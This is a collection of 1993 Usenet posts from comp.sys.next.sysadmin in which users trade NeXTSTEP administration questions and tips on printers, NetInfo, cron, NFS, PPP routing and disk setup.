Try to remove the spaces and read the swaptab manpage VERY close..
Good luck,
Karsten.
Newsgroups: comp.sys.next.sysadmin
From: Benoit Grange <Benoit_Grange@gateway.qm.apple.com>
Subject: Re: LaserWriter Pro 630 on NeXT
Sender: news@gallant.apple.com
Message-ID: <1993Jun2.125449.24442@gallant.apple.com>
Date: Wed, 2 Jun 1993 12:54:49 GMT
References: <C7rD1y.nE@ucdavis.edu>
Organization: Apple Europe R&D
In article <C7rD1y.nE@ucdavis.edu> Louis Todd Heberlein,
heberlei@cs.ucdavis.edu writes:
> I have been trying to hook up an Apple LaserWriter Pro 630 to my
> NeXTstation (running NS 3.0), and I have been having some problems.
I don't really know what needs to be done for the hardware setup, but you
should
get the PPD (printer description file) for the printer. Most of them are
stored on ftp.adobe.com, the name should be like APTOLLW1.PPD or the real
name of the printer.
Put it where the other printer description files reside (I don't have my
NeXT handy, I think it's somewhere in /usr/NeXTPrinter/..., try to find
ppd in Librarian, some of the appkit objects use them). Once this is
done, setup the printer with PrintManager.
Hope this helps.
PS: If you don't have access to the ftp server, mail me, I will send you
the PPD.
----
Benoit Grange
Apple Europe Research & Development
Paris - France
From: curt@oasys.dt.navy.mil (Curt Welch)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: autonfsmount dies / SLIP problem
Message-ID: <36706@oasys.dt.navy.mil>
Date: 2 Jun 93 16:24:04 GMT
References: <36227@oasys.dt.navy.mil> <1993May28.195853.6772@musical.fdn.org>
Organization: Carderock Division, NSWC, Bethesda, MD
In comp.sys.next.sysadmin, sam@musical.fdn.org (Sam Przyswa) writes:
>In article <36227@oasys.dt.navy.mil> curt@oasys.dt.navy.mil (Curt Welch)
>writes:
>>
>> No one on the net sent me any answers, but I found the solution to my
>> problem with the help of another local NeXT programmer. The answer was
>> quite simple. The host name and IP address of the system wasn't in
>> netinfo. (i.e. /etc/hosts). I assumed that HostManager would add the
>> name and address to netinfo but it doens't. You have to do it by
>> hand.
>>
> Hi Curt, I have the same problem and my /etc/hosts is like that...
You have to load your host name/IP address into the netinfo database. The
info in /etc/hosts isn't used when netinfo is running -- it's stored in
the netinfo database. To update it, you first need to find out whats
in it. You can do this by typing:
nidump hosts . > tmp_hosts
This saves the netinfo host data into the file tmp_hosts (which is in
the same format as /etc/hosts.
Add you host and IP address to tmp_hosts, then type:
niload hosts . < tmp_hosts
You can also add the host using the NetinfoManager App if you now how
to use that.
Curt
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From: thf@zelator.in-berlin.de (Thomas Funke)
Subject: Re: set user cron job
Message-ID: <1993Jun1.131854.4776@gamelan>
Sender: thomas@gamelan (thomas)
Organization: NNU Corp. - NeXT is Not UN*X
References: <1993May31.201150.1689@oops.se>
Date: Tue, 1 Jun 1993 13:18:54 GMT
In article <1993May31.201150.1689@oops.se> kjell@oops.se (Kjell Nilsson)
writes:
> > >0 1 * * * root su <username> -c '<program>'
>
>
> What does this parameter '-c' do. I can't find it under 'man cron or su'??
Its a command you're running under the specified user. Works for root only of
course :-).
Yes, it's not documented, but as far I know, other unices hav it too.
--
------------------------------------------------------------------
Thomas Funke ** Unix-Consultant ** thf@zelator.in-berlin.de
The nice thing about standards is that there are so many of them to
choose from.
-- Andrew S. Tanenbaum
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From: soward@slow.inslab.uky.edu (John Soward)
Subject: Re: /etc/hosts intro comment is bullshit... Lies! Lies! Lies!
Message-ID: <C80J5y.n0n@ms.uky.edu>
Sender: news@ms.uky.edu (USENET News System)
Organization: University Of Kentucky, Dept. of Math Sciences
References: <1993May28.180158.389@instep.wimsey.bc.ca>
Date: Wed, 2 Jun 1993 21:17:58 GMT
brad@instep.wimsey.bc.ca writes
-> I'm getting rather annoyed at NeXT and their ignorance of BSD UNIX. How is
-> it that with each release of NEXTSTEP, NeXT manages to break one more UNIX
-> tool? Do they have no shame?
Hmm, I'lll leave this one alone....but....
[munch]
-> Life Rule Number 4,002,983: Never believe _never_. If you do, you'll be
-> wasting your time and your companies time. As of Release 3.0, NeXT
-> has yet to understand the fragile nature of UNIX.
I agree, never believe never...UNIX is *NOT* fragile, however, just
complex.
[munch]
-> When syslogd starts up it says it can't find host vancouver. Okay, why
-> not? Well, it starts up as an early daemon, so perhaps netinfo isn't
-> available at the time syslogd needs the host information. That would seem
-> logical. So, I send syslogd a HUP signal which causes it to re-read its
-> configuration file. There, that ought to take care of it... Nope!
Well, no, you must have done something wrong...this is exactly what I
do and it's worked fine since 3.0pr1....I put these lines in /etc/rc.local:
kill -HUP `cat /etc/syslog.pid`
(echo ' syslog again')
on the "client" machines.
-> Gee, that seems to conflict with the statement in /etc/hosts.
well, kinda, it's really just there to keep people from sticking things there
and thinking that's all you need to do...YP (NIS) will say the same thing.
-> Quit feeding us bullshit, NeXT! I wish NeXT would appreciate the POWER of
-> UNIX and its collection of very useful tools, and learn to respect that
-> POWER by leaving well enough alone what they do not fully understand.
haha...Power, eh...okay try spreading that flat-file /etc/hosts power
around a lab of 75 machines, real quick like....haha well someone dosen't fully
understand something I'll agree to that...
--
John Soward \ 'Across yonder oceans the natives are fierce
University of Kentucky \ Their ears are filled and their teeth are pierced'
soward@inslab.uky.edu \ -- The Church, Priest=Aura
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From: soward@slow.inslab.uky.edu (John Soward)
Subject: Re: how to crash any NeXT
Message-ID: <C80JIC.16A@ms.uky.edu>
Sender: news@ms.uky.edu (USENET News System)
Organization: University Of Kentucky, Dept. of Math Sciences
References: <MS-C.738700670.662824084.mrc@Ikkoku-Kan.Panda.COM>
Date: Wed, 2 Jun 1993 21:25:23 GMT
Mark Crispin writes
-> The following little program will crash any NeXT. It was posted on
-> comp.protocols.tcp-ip, and a short while later a bugfix was also posted.
So,
-> people on other operating system platforms are fixing their kernels. But
-> because of NeXT's cretinous policy of no source distributions, people with
-> NeXTs can't fix it themselves.
->
Next offered source code to the base os for 2.1...but *most* people can't
afford the source to *any* commercial os anyway so.....price solaris 2.x code
for edu (not too bad) and non-edu (look out)...then for a laugh call up
microsoft and ask about the source to NT ;^>
I think NeXT could create patches and put them on the net with reasonable fixes
for reasonable problems though, so that those technically minded who are
intersted in such things.......
--
John Soward \ 'Across yonder oceans the natives are fierce
University of Kentucky \ Their ears are filled and their teeth are pierced'
soward@inslab.uky.edu \ -- The Church, Priest=Aura
From: izumi@pinoko.berkeley.edu (Izumi Ohzawa)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: LaserWriter Pro 630 on NeXT
Date: 2 Jun 1993 22:12:25 GMT
Organization: University of California, Berkeley
Distribution: world
Message-ID: <1uj8k9$6e3@agate.berkeley.edu>
References: <1993Jun2.125449.24442@gallant.apple.com>
In article <1993Jun2.125449.24442@gallant.apple.com> Benoit Grange
>I don't really know what needs to be done for the hardware setup, but you
>should
>get the PPD (printer description file) for the printer. Most of them are
>stored on ftp.adobe.com, the name should be like APTOLLW1.PPD or the real
>name of the printer.
>
>Put it where the other printer description files reside (I don't have my
>NeXT handy, I think it's somewhere in /usr/NeXTPrinter/...
It should go into /LocalLibrary/PrinterTypes/English.lproj/.
--
Izumi Ohzawa [ $@Bg_78^=;(J ]
USMail: University of California, 360 Minor Hall, Berkeley, CA 94720
Telephone: (510) 642-6440 Fax: (510) 642-3323
Internet: izumi@pinoko.berkeley.edu (NeXTMail OK)
Newsgroups: comp.sys.next.sysadmin
From: thor@sushi.uib.no
Subject: Re: Multiple Swapfiles (SUMMARY)
Message-ID: <1993Jun2.222620.29485@alf.uib.no>
Sender: usenet@alf.uib.no (Bergen University Newsaccount)
Organization: University of Bergen, Norway
Date: Wed, 2 Jun 93 22:26:20 GMT
Multiple swapfile setup wasn't working. Solution?
Remove embedded whitespace between options. I have done it,
but haven't rebooted (I'll wait until it crashes :-), but am
rather sure (by the amount of replies :-) That that was the
problem.
Unix - for mere mortals....
Regards,
--
Thor Legvold | "This is the strangest life
NorNeXT User Group leader | I've ever known..."
University of Bergen | -Jim Morrison, The Doors
NORWAY | edmtl@edb.uib.no
Newsgroups: comp.sys.next.sysadmin
From: andy@godel (Andrew Burday)
Subject: desperately seeking data recovery utility
Message-ID: <1993Jun2.221821.21343@sifon.cc.mcgill.ca>
Sender: news@sifon.cc.mcgill.ca
Organization: McGill University
Date: Wed, 2 Jun 1993 22:18:21 GMT
While running UserManager today, our file server crashed. When it came
back up, all the users' home directories and all their contents were gone.
This will make several people very unhappy when they find out about it.
Does anyone know of a utility to recover data from a hard disk? The
machine has (obviously) been rebooted, which means that fsck has cleaned
up the file system.
Less urgently, does anybody have any idea what could have caused the
crash? I was not actually logged in at the time, but my understanding is
that nothing more interesting was happening than the addition of a
network-wide user to the net. Our server is an 040 cube, running v. 3.0.
Flames are clearly justified on a couple of topics, notably the lack of
backups. They will be accepted with equanimity. If anybody could also
help us out with this, it would be much appreciated. Again, what I'm
looking for is a hard disk data recovery utility.
Thanks.
Andrew Burday
andy@philo.mcgill.ca
From: gregory@brigham-circle.mit.edu (Greg Howland)
Newsgroups: comp.sys.next.sysadmin
Subject: How can you make the clock chime?
Date: 3 Jun 1993 00:11:54 GMT
Organization: Massachvsetts Institvte of Technology
Message-ID: <1ujfkaINNciv@senator-bedfellow.MIT.EDU>
Is there a way to make the system clock chime or beep on the hour?
** Greg **
gregory@brigham-circle.mit.edu
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From: clp@home.HarvardSq.COM (Charles L. Perkins)
Subject: A B I G Apology to attendees of my BOF at N.W. Expo.
Message-ID: <1993Jun3.051335.1962@das.harvard.edu>
Sender: usenet@das.harvard.edu (Network News)
Organization: Division of Applied Sciences, Harvard University
Date: Thu, 3 Jun 1993 05:13:35 GMT
(I haven't been near the Internet 'til now, but even though I'll be home
in only a few days, I thought I should get this apology out ASAP...)
I have to make a R E A L L Y B I G apology to any of you who attended
my BOF and didn't get a chance to see me there!?!
I was bidding on everything in sight at the NOIR auction and in particular,
absolutely HAD to have the NeXT-cable dies from the factory, which didn't
go on the "bidding block" until after 8 pm (the order was random).
I offered to do a dinner BOF but couldn't get everyone together in time.
Maybe we can start a mailing list for my BOF topic and for Voila?
Let me know what you all think...
Again, I am truly sorry!
Charles
From: mgrdla@NeXTwork.Rose-Hulman.Edu (David L. Allabaugh, Jr.)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: NeXT Mail Addresses storage ?
Date: 3 Jun 1993 05:49:53 GMT
Organization: News Service at Rose-Hulman
Message-ID: <1uk3e1INNq4m@master.cs.rose-hulman.edu>
References: <1993Jun2.063835.5140@netcom.com>
In article <1993Jun2.063835.5140@netcom.com> gordie@cyclesoft.com (Gordie
Freedman) writes:
> It looks like ./NeXT/.mailalias only affects private groups. I can't
seem to do
> anything to get entries in private users. Is this documented somewhere?
I don't know where it is documented, but here is what I know (or think I
know). You should have the first entry in the .mailaliases file be
Private Users. This will be arranged just like one of your private
groups. For instance, if someone wanted to place both you and I in their
Private Users, then they would have a .mailaliases file such as the
following.
Private Users:mgrdla@nextwork.rose-hulman.edu,gordie@cyclesoft.com
CoolPeople:mgrdla@nextwork.rose-hulman.edu,gordie@cyclesoft.com,mgrjtb@nex
twork.rose-hulman.edu
..
In this example, CoolPeople would be a Private Group and both you I would
be in the Private Users. Hope this helps.
---
Dave Allabaugh Rose-Hulman Institute of Technology
Unix Manager Waters Computing Center
Newsgroups: comp.sys.next.sysadmin
From: cbaur@blabel.ppp.informatik.uni-muenchen.de (Christian Baur)
Subject: Re: formatter program
Message-ID: <1993Jun3.064859.15970@blabel.ppp.informatik.uni-muenchen.de>
Keywords: format SCSI
Organization: Home of BlackLabel
References: <1993Jun1.145750.5434@nic.csu.net>
Date: Thu, 3 Jun 1993 06:48:59 GMT
vqueved@nssnext.calstatela.edu (Victor Quevedo) writes:
>Does any one know the locaiton of the formatter program for SCSI disks.
>
On ftp.informatik.uni-muenchen.de, pub/next/Tools/disk/formatter_1.2.tar.Z
>I have heard that there is a formatting program that will allow for
>smaller block sizes.
>
I don't think you can format your disk with a _smaller_ block size with
formatter. The program _can_ format some disks with 1024 byte/sector
instead of the normal 512 byte/sec increasing the maximum available
storage.
cb
--
[ Christian Baur, Muenchen-Germany | Suicide is an urban disease ]
[ cbaur@informatik.uni-muenchen.de | Spread by people and places like these ]
Newsgroups: comp.sys.next.sysadmin
From: dgursky@andi.org
Subject: NFS Problem
Content-Type: text/plain
Message-ID: <dg.93Jun2133915@synex_hq>
Followup-To: comp.sys.next.sysadmin
Sender: usenet@nextsrv1.andi.org (usenet)
Organization: Association of NeXTSTEP Developers International
Mime-Version: 1.0
Date: Wed, 2 Jun 1993 18:39:15 GMT
For some odd reason, I can't mount *any* NFS-exported directories on our NeXT's. The message generated each time is "NFS getattr failed for server synex_hq: RPC Authentication Error". Does anyone have a clue as to what could be causing this to happen?
Newsgroups: comp.sys.next.sysadmin
From: dgursky@andi.org
Subject: NFS Problem
Content-Type: text/plain
Message-ID: <dg.93Jun2134018@synex_hq>
Followup-To: comp.sys.next.sysadmin
Sender: usenet@nextsrv1.andi.org (usenet)
Organization: Association of NeXTSTEP Developers International
Mime-Version: 1.0
Date: Wed, 2 Jun 1993 18:40:18 GMT
Apologies for the duplicate post, but I'm not certain the original
went through successfully...
For some odd reason, I can't mount *any* NFS-exported directories on
our NeXT's. The message generated each time is "NFS getattr failed
for server synex_hq: RPC Authentication Error". Does anyone have a
clue as to what could be causing this to happen?
---
David M. Gursky NeXTMail accepted
Synex, Inc. e-mail: dgursky@andi.org
5950 Symphony Woods Road voice: (301) 621-5732
Columbia, MD 21044 fax: (301) 621-6005
Newsgroups: comp.sys.next.sysadmin
From: eps@futon.SFSU.EDU (Eric P. Scott)
Subject: Re: Setting up Drives > 660mb
Message-ID: <1993Jun3.081922.29435@csus.edu>
Sender: news@csus.edu
Organization: San Francisco State University
References: <1993May31.160008.7925@news.yale.edu>
Date: Thu, 3 Jun 1993 08:19:22 GMT
In article <1993May31.160008.7925@news.yale.edu> amehta@yale.edu
(Anand Mehta) writes:
>I have just purchased a Quantum P1225 (1.2gig) harddrive. After looking
>through the documentation, it seems that the configurations that the build
>utilities know about are 660 and 330mb.
>
>Has anyone installed this model drive/Could anyone tell me what I have to do in
>order to build it correctly? What else is needed besides a correct disktab?
The references to 330 and 660 are historical; the difference is
that the former creates only a single partition, while the
latter creates two. Pretend "660" says "660 or above," O.K.?
Note that in most cases a disktab entry is *not* necessary--you
should get something that works (it may be suboptimal, but that's
another story).
-=EPS=-
From: kline@CS.Arizona.EDU (Nick Kline)
Newsgroups: comp.sys.next.sysadmin
Subject: Problems with ppp; actually a routing problem
Summary: i don't understand what netstat gives : -)
Message-ID: <1ukib1$98f@cheltenham.cs.arizona.edu>
Date: 3 Jun 93 10:04:17 GMT
References: <1993May27.033046.13695@venice.sedd.trw.com>
Sender: Nick Kline
Organization: U of Arizona CS Dept, Tucson
I have a problem where I don't receive packets sent to me over ppp.
Symptom: ppp connects and sends the every 3 sec packets. when I try
to fing gateway on other side (192.220.10.2), packets are sent on
my modem, but all is ignored.
I'll just make up my addresses
the remote (home) machine (denali.cs.arizona.edu) is 192.220.10.1
the host machine I am calling is (jav.cs.arizona.edu) 192.220.10.2
netstat -i reports that my ppp0 link looks good:
ppp0* 1500 192.220.10 denali 0 298
if config reports:
ppp0: flags=51<UP,POINTOPOINT,RUNNING>
inet 192.220.10.1 --> 192.220.10.2 netmask ffffff00
netstat -rn
192.220.10.1 192.220.10.1 UGH 5 912 en0
127.0.0.1 127.0.0.1 UH 2 694 lo0
192.220.10.2 192.220.10.1 UH 0 29 ppp0
default 192.220.10.2 UG 0 18 ppp0
192.220.10 192.220.10.1 U 6 1605 en0
netstat -r
denali denali UGH 5 912 en0
127.0.0.1 127.0.0.1 UH 2 694 lo0
192.220.10.2 denali UH 0 29 ppp0
default 192.220.10.2 UG 0 18 ppp0
192.220.10 denali U 6 1629 en0
obviously there is some problem with my routing, but i don't understand
enoguht what is gong on. Note that I added the
192.220.10.1 192.220.10.1 after nothing else worked, since one of
my examples did that.
the behaviour is that every 3 seconds, I am sending those are you
there packets. but, if I try to fing the other side (192.220.10.2)
some packets are sent and received, but apparently the returned
packets are ignored. I can only guess that somehow the ip confg numbers
are wrong.
thanks,
Nick
kline@cs.arizona.edu
Newsgroups: comp.sys.next.sysadmin
From: orourke@sophia.smith.edu (Joseph O'Rourke)
Subject: Re: Which cartridge for NeXT 400dpi Laser Printer?
Message-ID: <1993Jun3.131151.950@sophia.smith.edu>
Organization: Smith College, Northampton, MA, US
References: <1993Jun1.133738.14737@sophia.smith.edu> <1ufqmq$r7@ux1.cso.uiuc.edu>
Distribution: usa
Date: Thu, 3 Jun 1993 13:11:51 GMT
In article <1ufqmq$r7@ux1.cso.uiuc.edu> lemson@uiuc.edu writes:
>orourke@sophia.smith.edu (Joseph O'Rourke) writes:
>
>>Will a Cannon or Hewlett-Packard catridge serve, and if so,
>>which one?
>
>The EP-S cartridge that fits (among other printers) the HP LaserJet
>Series II series and the Apple LaserWriter II series is the one you
>want.
Thanks to all who replied. The HP92295A works perfectly.
Newsgroups: comp.sys.next.sysadmin
From: gdh@world.std.com (George Hampton)
Subject: bogus out of space message
Message-ID: <C81yLE.B9M@world.std.com>
Organization: The World Public Access UNIX, Brookline, MA
Distribution: na
Date: Thu, 3 Jun 1993 15:48:49 GMT
I've got a LARGE disk (>5Gb) NFS mounted and Workspace is having
trouble making sense of it. I constantly see the "NO SPACE" message
and file copy operations fail because of this.
df reports the following:
on my Next:
Filesystem kbytes used avail capacity Mounted on
hofbrau:/home/hofbrau
1093658-1154598-1998927 58% /home/hofbrau
on my Sun server:
Filesystem kbytes used avail capacity Mounted on
/dev/md5g 5287962 3039706 2195377 58% /home/hofbrau
Any solution would be appreciated.
--
===================================================================
george hampton Is "anal retentive" spelled with a hyphen?
gdh@world.std.com
From: ben@manfred.berkeley.edu (Ben Haze Bonham)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: How can you make the clock chime?
Date: 3 Jun 1993 17:35:14 GMT
Organization: University of California, Berkeley
Message-ID: <1ulcoi$pnj@agate.berkeley.edu>
References: <1ujfkaINNciv@senator-bedfellow.MIT.EDU>
In article <1ujfkaINNciv@senator-bedfellow.MIT.EDU>
gregory@brigham-circle.mit.edu (Greg Howland) writes:
> Is there a way to make the system clock chime or beep on the hour?
>
> ** Greg **
> gregory@brigham-circle.mit.edu
I got a program called chime a long time ago from the sonata archive. I
don't know if it's still there, but if not, send me a note and I'll mail
the source for it.
It was written by scott hess (scott@gac.edu) and fixed up by tom staudte
(tom@in.sub.org).
-Ben
Newsgroups: comp.sys.next.hardware,comp.sys.next.misc,comp.sys.next.software,comp.sys.next.sysadmin
From: iwelch@agsm.ucla.edu (Ivo Welch)
Subject: Monitor Refresh Rate on ATI Ultra Pro (Intel GX Workstation)
Message-ID: <1993Jun3.104802.3677@mic.ucla.edu>
Keywords: bastard_kernel
Organization: UCLA, Anderson Graduate School Of Management
Date: 3 Jun 93 10:48:02 PDT
I understand that NeXT/Intel (beta) is running the ATI Ultra Pro at the
lowest possible refresh rate at the 1024*768 resolution. If someone has
done a kernel patch to increase the refresh rate, I would very much like
to get my hands on it.
/ivo welch
From: smg@orb.com (S.M. Goldberger)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware
Subject: Need to know: How to set up the HP LaserJet 4M???
Date: 3 Jun 1993 09:45:34 GMT
Distribution: world
Message-ID: <1ukh7u$4so@nntp.crl.com>
Has anyone successfully set up the HP LaserJet 4M on black Next hardware? I
downloaded the PPD from the archives, but am not sure that I have the proper
cable, nor do I know the proper serial port baud rate for best operation.
My NeXT printer is broken so I really need to know how to proceed!
Thanks in advance!
--
Samuel M. Goldberger smg@orb.com--NeXT Mail OK
Spherical Solutions, 47 Myrtle Avenue, Mill Valley, CA 94941
415.380.0383--voice 415.380.0381--fax
From: blake015@mc.duke.edu (Denise Blakeley)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: How can you make the clock chime?
Message-ID: <15791@news.duke.edu>
Date: 3 Jun 93 19:38:11 GMT
References: <1ulcoi$pnj@agate.berkeley.edu>
Sender: news@news.duke.edu
In article <1ujfkaINNciv@senator-bedfellow.MIT.EDU>
gregory@brigham-circle.mit.edu (Greg Howland) writes:
> Is there a way to make the system clock chime or beep on the hour?
Why not just set up a cron job? Cron looks at /etc/crontab and
/etc/crontab.local every 60 seconds to see if there's something it should run.
Denise
--
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Duke Med Center Info Systems | to banging one's head against a wall,
Durham, NC | but with fewer opportunities for
(919) 282-6468 W | reward.
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From: rngu@mipos2.intel.com (Robert Ngu)
Subject: usa
Message-ID: <C82FnB.433@inews.intel.com>
Sender: news@inews.intel.com (USENET News System)
Organization: Intel Corporation, Santa Clara, CA USA
Distribution: usa
Date: Thu, 3 Jun 1993 21:57:11 GMT
Hi,
Thanks to all the kind folks out there that supplied me the IP addresses
of several Next FTP sites. I have tried to install several programs but
some binaries are not for the Intel platform. Except for archie, which seems
to install fine until it reach a point where it said to install on different
computer than mine? Any clue? I am a novice Next user and eager to learn.
Thanks in advance for any help that you can give.
Bob Ngu
From: yanik@planon.qc.ca (Yanik Crepeau)
Newsgroups: comp.databases.informix,comp.sys.next,comp.sys.next.misc,comp.sys.next.advocacy,comp.sys.next.software,comp.sys.next.sysadmin
Subject: Stupid and foolish move from Informix
Keywords: informix database dbkit next
Message-ID: <1993Jun3.172043.16926@CAM.ORG!planon>
Date: 3 Jun 93 17:20:43 GMT
Sender: yanik@CAM.ORG!planon
We are developer on NeXTstep OS. In the past couple of year we have
developed an application for automation in the television industry.
We have used Informix-SE and Informix ESQL-C for doing our
development. Those product have been available for NeXTstep on NeXT
hardware since a year.
Informix is not the database of choice on NeXTstep for many reasons:
1- Informix have took a long time to port on NeXT. Two other RDBMS where
available long before (Oracle and Sybase).
2- NeXT has launch a wonderful database tool call database kit. Filters
for database kit are simple piece of software that need to be provided
from database vendor. Oracle and Sybase ship theirs with NeXTstep.
Informix has not made that product available at all; even though a
programmer of Informix in Munich (Germany) has developed it, we have it and it
works fine.
Now NeXT has made a move from a Software/Hardware company to a software
only company. NeXTSTEP is now available on Intel' 486 based PCs. To port
an application from one NeXTSTEP platform to the other is a simple port,
but, again, Informix is slow and is not interested to do that simple
thing.
The development of our products is complete. From now on we have order for
many copies of our product. But now, because of a political matter from
Informix we are stuck with a database that will not follow evolution. We
will now change of database, and believe me, never again will I use or
recommend any of the Informix product. With their weak marketing policy
and inconsequent decision no wonder they trail behind other vendor in the
market and i predict their situation will decay.
Thanks.
A very frustrated former Informix developer.
Stephane Savard
Director R&D
Planon Telexpertise Inc.
1370 Joliot-Curie #708
Boucherville, Quebec
Canada, J4B 7L9
Email: stephane@planon.qc.ca (NeXTmail accepted and appreciated!)
--
Yanik Crepeau
Programmer
Planon Telexpertise
E-Mail: yanik@planon.qc.ca (NeXT)
From: mwgst1+@pitt.edu (Michael W Groff)
Newsgroups: comp.sys.next.sysadmin
Subject: Using macintosh (powerbook) with NeXT
Message-ID: <13039@blue.cis.pitt.edu>
Date: 3 Jun 93 21:55:34 GMT
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Organization: University of Pittsburgh
Originator: mwgst1@unixd3.cis.pitt.edu
I am interested in using a powerbook and NeXT together. In particular,
I want to:
1. Print from the powerbook to the NeXT printer.
2. Open files on the NeXT (macintosh or unix) from the powerbook.
3. Mount the powerbook disk on the NeXT so that I can backup
everything from the NeXT.
To make matters worse I would really like to be able to do 1 and 2 over
a modem. And I would like to use a direct serial connection (not
ethernet) when I'm in the lab.
Am I crazy? Is this possible? How?
Should AppleTalk Remote Access figure into my plans?
Please mail responses to mwg@med.pitt.edu
Thanks, I will summarize if there is interest.
--
michael groff
Medical Student
mwg@med.pitt.edu
(Please use this address)
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From: heberlei@cs.ucdavis.edu (Louis Todd Heberlein)
Subject: Thanks! (Re: LaserWriter Pro 630 on NeXT)
Message-ID: <C81yrG.MJI@ucdavis.edu>
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Organization: University of California, Davis
References: <1uj8k9$6e3@agate.berkeley.edu>
Date: Thu, 3 Jun 1993 15:52:27 GMT
Thanks to everyone who helped me getting my Laserwriter Pro 630 up and
running on my NeXTstation. I have tried sending mail to most of you,
but a few bounced.
I had to overcome two problems: getting the right cable, and installing
the PPD file. One sad note, I contacted NeXT, and a lady there told
me that the Apple cables should work :^( Thank goodness I have
the folks on the Internet to help me out.
For anyone who is interested in the doing the same thing, this is
my solution:
1) Get the right cable! (I ended up ordering the serial cable
(Mini8 Male/DB25 Male) from NeXTconnection).
2) I connected a converter (DB9 Male/DB25 Female) to change
the serial cable from 25 pins to 9 pins. The converter
was labeled as an "AT MOUSE TO XT ADAPTOR". I picked
it up at CompUSA; took a guess, and it worked :^)
3) I FTPed the PPD file from ftp.adobe.com and installed it
in the directory /LocalLibrary/PrinterTypes/English.lproj/.
Once again, thanks to everyone who helped!
Todd
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From: dale@hecate.phy.queensu.ca (Dale Swanston)
Subject: puh-lease help -- NetInfo domain problems
Message-ID: <C82oo5.KCD@knot.ccs.queensu.ca>
Sender: news@knot.ccs.queensu.ca (Netnews control)
Organization: Queen's University, Kingston
Date: Fri, 4 Jun 1993 01:12:04 GMT
Help, I'm starting to lose my mind.
Here's my sad story. I was asked to set up two Nexts. My boss wanted his
machine (machine A) to be the NetInfo server but not the mail server. So
my machine (machine B) was manually setup as the mail server. Well
needless to say an amateur (me) botched the job. I have mail access but
mail forwarded from my machine to the boss' doesn't recognize any users on
that machine.
This is where the problems with NetInfo come in. I have basically 3
domains (NetInfo domains) there's: / , /A , /B . On machine B (the
mail server) I can view all three domains with the NetInfo Manager. But
on machine A (the NetInfo server - supposedly) I can only view : / and
/A. This is bad considering that the NetInfo server cannot see a domain
it should serve. I get an error that says 'Domain selected failed to
open' when I try to open /B.
Is there any obvious reason why the NetInfo server wouldn't be able to
open one of its domains? (Like preferences along the lines of Public
Window Server etc). And is there a reason why the user accounts on the
NetInfo server function properly in every other aspect except when having
mail sent to them.
[I have another problem that I think is all related to this. The
Addresses panel in the Mail Compose window does not hold the Users on the
system. I would have expected that at least the users on a local machine
would be in that panel. Even with updating the mail database with the
'mailDBupdate' command they do not appear. Is there anyway to look in
this mail database to see what the heck is going on?]
Any help would be greatly appreciated. I'm a desparate man. I'll supply
more information if anyone has any ideas.
---
Dale Swanston
Dept of Physics -NextMail welcome
Queen's University
Kingston, Ontario dale@hecate.phy.queensu.ca
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From: kurt@frsvnsvn.cts.com (Kurt Werle)
Subject: cmsg cancel <1993Jun2.011758.11551@frsvnsvn.cts.com>
Message-ID: <1993Jun4.005940.5250@frsvnsvn.cts.com>
Organization: Little to None
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Date: Fri, 4 Jun 1993 00:59:40 GMT
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From: root@infoman.com
Subject: Indexing WriteNow Documents
Message-ID: <1993Jun3.185429.1792@infoman.com>
Sender: root@infoman.com (Operator)
Organization: Information Management Inc.
Distribution: usa
Date: Thu, 3 Jun 1993 18:54:29 GMT
I am trying to index WriteNow documents in the Digital Librarian, but even
after I install the Third Party Filter, I still get flaky results. Has
anyone run into similar problems. If so, any help would be much
appreciated. Here is the Filter I Installed.
Filter:
Port: NXUNIXSTDIO
Send Type: NXTypedFilenamePboardType:wn
Return Type: NXRTFPboardType
Executable: /LocalApps/WriteNow.app/wn-rtf
Usually, I get a conversion error in the console with ID:108
thanks in advance Willi
p.s: Please respond via e-mail. I do not have regular access to news.
willi@infoman.com
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From: sam@musical.fdn.org (Sam Przyswa)
Subject: Re: autonfsmount dies / SLIP problem
Message-ID: <1993Jun3.203023.3465@musical.fdn.org>
Sender: sam@musical.fdn.org
Organization: Rock'n Jazz BBS - (The Music Land)
References: <36706@oasys.dt.navy.mil>
Date: Thu, 3 Jun 1993 20:30:23 GMT
In article <36706@oasys.dt.navy.mil> curt@oasys.dt.navy.mil (Curt Welch)
writes:
>
> You have to load your host name/IP address into the netinfo database. The
> info in /etc/hosts isn't used when netinfo is running -- it's stored in
> the netinfo database. To update it, you first need to find out whats
> in it. You can do this by typing:
>
> nidump hosts . > tmp_hosts
>
> This saves the netinfo host data into the file tmp_hosts (which is in
> the same format as /etc/hosts.
>
> Add you host and IP address to tmp_hosts, then type:
>
> niload hosts . < tmp_hosts
>
> You can also add the host using the NetinfoManager App if you now how
> to use that.
>
Thanks for your reply, I try that...
See you.
Sam
--
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
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E-Mail: sam@musical.fdn.org Paris FidoNet: 2:320/102
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From: verket@venice.sedd.trw.com (Paul Verket)
Subject: NWE NOIR auction [was: A B I G Apology to attendees of my BOF at N.W. Expo.]
Message-ID: <1993Jun4.031321.13833@venice.sedd.trw.com>
Sender: news@venice.sedd.trw.com (USENET News)
Organization: TRW Systems Engineering & Development Division, Carson, CA
References: <1993Jun3.051335.1962@das.harvard.edu>
Date: Fri, 4 Jun 1993 03:13:21 GMT
Charles L. Perkins (clp@home.HarvardSq.COM) wrote:
: ...
: I was bidding on everything in sight at the NOIR auction and in particular,
: absolutely HAD to have the NeXT-cable dies from the factory, which didn't
: go on the "bidding block" until after 8 pm (the order was random).
: ...
What sorts of things were auctioned? Does anyone remember their rough
prices?
Thanks...
Paul Verket (NeXTmail ok
From: eoliver@venus.haverford.edu (Oliver Erik L)
Newsgroups: comp.sys.next.sysadmin
Subject: changing my IP address
Date: 4 Jun 1993 08:01:07 -0400
Organization: Bryn Mawr and Haverford College NetNews
Message-ID: <1undi3$lpe@venus.haverford.edu>
Okay, when we installed NS 3.0 we almost concurrently put out machine on
the Internet. I recall having serious problems with the pretty
graphical application that allows you to choose your IP.
My questions are:
o what was the fix to the bug in the app again?
o is there a way for this vi geek to just edit my old IP out of
an /etc/something file and put in the new?
-Erik
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From: edmtl@taxus.uib.no (Thor Legvold)
Subject: What is zone kalloc.1024???
Message-ID: <1993Jun4.140006.12679@alf.uib.no>
Sender: edmtl@alf.uib.no (Thor Legvold)
Organization: University of Bergen, Norway
